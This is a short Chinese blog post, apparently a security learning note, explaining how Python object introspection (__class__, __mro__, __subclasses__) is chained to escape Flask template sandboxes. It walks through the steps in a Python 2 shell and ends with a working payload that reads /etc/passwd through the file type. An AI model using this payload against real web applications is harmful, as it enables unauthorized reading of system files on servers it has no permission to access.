Python——flask漏洞探究总结(持续更新)

通过python的对象的继承来一步步实现文件读取和命令执行的的。

流程:

找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。

几个魔术方法:

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

1 、获取字符串的类对象:

>>> ''.__class__
<type 'str'>

2:寻找基类:

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

3:寻找可引用:

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 
'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 
'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>,
 <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>,
  <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, 
  <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>,
  <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type
   'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, 
   <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 
   'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, 
   <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 
   'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, 
   <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 
   'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, 
   <type 'sys.version_info'>, <type 'sys.flags'>, <type 
   'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, 
   <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 
   'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 
   'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class 
   '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, 
   <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class 
   '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 
   'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 
   'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type 
   '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 
   'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
   


可以看到有一个`<type 'file'>`

4:利用:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

在这里插入图片描述

posted @ 2020-04-08 23:05  Kuller_Yan  阅读(91)  评论(0)    收藏  举报